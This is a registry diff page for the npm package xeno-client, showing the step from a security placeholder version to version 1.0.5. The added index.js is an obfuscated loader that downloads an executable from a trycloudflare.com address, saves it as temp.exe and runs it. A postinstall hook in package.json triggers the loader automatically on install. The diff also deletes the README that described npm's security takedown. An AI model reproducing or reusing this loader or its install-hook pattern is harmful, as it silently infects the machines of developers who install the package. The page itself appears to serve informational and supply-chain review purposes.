xeno-client 0.0.1-security → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of xeno-client might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +14 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x472cf0=_0x1bdb;function _0x5764(){const _0x238d38=['join','3323145ApoNQP','3645WUNHxD','buffer','Error\x20running\x20the\x20executable:\x20','https://recruitment-foods-details-shareware.trycloudflare.com/home','205812xfgvEv','writeFile','child_process','27561yIGAOv','Download\x20error:\x20','1401570eVEPmk','path','error','612610VIKdyP','216eRNtxg','node-fetch','5430srsZTd','3000820SoajbH','HTTP\x20error!\x20status:\x20','temp.exe'];_0x5764=function(){return _0x238d38;};return _0x5764();}(function(_0x3c82da,_0x760962){const _0xdc5243=_0x1bdb,_0x596aa4=_0x3c82da();while(!![]){try{const _0x161608=parseInt(_0xdc5243(0x199))/0x1+-parseInt(_0xdc5243(0x19e))/0x2+parseInt(_0xdc5243(0x19b))/0x3+parseInt(_0xdc5243(0x18d))/0x4+-parseInt(_0xdc5243(0x192))/0x5*(-parseInt(_0xdc5243(0x18c))/0x6)+-parseInt(_0xdc5243(0x191))/0x7+-parseInt(_0xdc5243(0x19f))/0x8*(parseInt(_0xdc5243(0x196))/0x9);if(_0x161608===_0x760962)break;else _0x596aa4['push'](_0x596aa4['shift']());}catch(_0x5d70cf){_0x596aa4['push'](_0x596aa4['shift']());}}}(_0x5764,0x7b971));const fs=require('fs-extra'),path=require(_0x472cf0(0x19c)),fetch=require(_0x472cf0(0x1a0)),{exec}=require(_0x472cf0(0x198)),exeFileName=_0x472cf0(0x18f),downloadUrl=_0x472cf0(0x195),exeFilePath=path[_0x472cf0(0x190)](__dirname,exeFileName);function _0x1bdb(_0x3b1f31,_0x3d149e){const _0x5764bf=_0x5764();return _0x1bdb=function(_0x1bdb61,_0x5064ed){_0x1bdb61=_0x1bdb61-0x18c;let _0x49ff29=_0x5764bf[_0x1bdb61];return _0x49ff29;},_0x1bdb(_0x3b1f31,_0x3d149e);}async function downloadFile(_0x152d78,_0x42b6d6){const _0x57458f=_0x472cf0,_0x1c3e31=await fetch(_0x152d78);if(!_0x1c3e31['ok'])throw new Error(_0x57458f(0x18e)+_0x1c3e31['status']);const _0xbea131=await _0x1c3e31[_0x57458f(0x193)]();await fs[_0x57458f(0x197)](_0x42b6d6,_0xbea131);}async function runExecutable(){const _0x5c50a3=_0x472cf0;try{await downloadFile(downloadUrl,exeFilePath),exec(exeFilePath,_0x1ee383=>{const _0xe1de46=_0x1bdb;_0x1ee383&&console[_0xe1de46(0x19d)](_0xe1de46(0x194)+_0x1ee383);});}catch(_0x153b2e){console['error'](_0x5c50a3(0x19a)+_0x153b2e);}}runExecutable();
|
package/package.json
CHANGED
@@ -1,6 +1,17 @@
|
|
1
1
|
{
|
2
2
|
"name": "xeno-client",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.5",
|
4
|
+
"description": "Pkg",
|
5
|
+
"main": "index.js",
|
6
|
+
"bin": {
|
7
|
+
"update": "index.js"
|
8
|
+
},
|
9
|
+
"scripts": {
|
10
|
+
"postinstall": "node index.js"
|
11
|
+
},
|
12
|
+
"dependencies": {
|
13
|
+
"fs-extra": "^10.0.0",
|
14
|
+
"node-fetch": "^2.6.7",
|
15
|
+
"sudo-prompt": "^9.2.1"
|
16
|
+
}
|
6
17
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=xeno-client for more information.
|